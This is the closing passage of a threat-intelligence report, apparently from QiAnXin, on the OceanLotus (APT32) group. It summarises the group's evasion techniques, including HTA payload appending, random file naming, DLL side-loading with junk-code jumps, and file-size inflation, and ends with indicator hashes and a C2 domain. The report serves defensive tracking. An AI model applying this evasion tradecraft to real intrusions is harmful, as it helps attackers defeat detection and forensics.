1. Insert the encrypted data to the end of the hta script to avoid the existence of multiple
files.

2. The released files are randomly named according to the file name and file description
selected from the compromised computer, so as to avoid being easily acquired in
forensics.

3. Only select one of the dll files while performing DLL Side-Loading, and fill the exe entry
point with junk code and then do a jump operation to avoid stack traceback.

4. Enlarge the file size to avoid being uploaded automatically.

Conclusion

The OceanLotus reflects a very strong confrontational ability and willing to attack by keep
evolving their techniques, including approaches to deliver bait documents, changes of the
payloads, measures in circumvention, as well as domain assets, no matter the target is
domestic or overseas. Due to the transnational nature of most APT groups, it is difficult to
eliminate threats from the root cause. Therefore, tracking these APT attacks and adopting
confrontation measures will exist for a long time. All we can do is to continuously improve our
own discovery and containment capabilities, then will be able to overwhelming opponents
technically.

At present, all QiAnXin products can protect users from this new attack carried out by
OceanLotus.

I0C

Bait Document
0dd468ee3a4ec0f6f84473bd8428a1e1
Loader
b28c80ca9a3b7deb09b275af1076eb55
C2

udt.sophiahoule.com

APT OCEANLOTUS APT32

NEE
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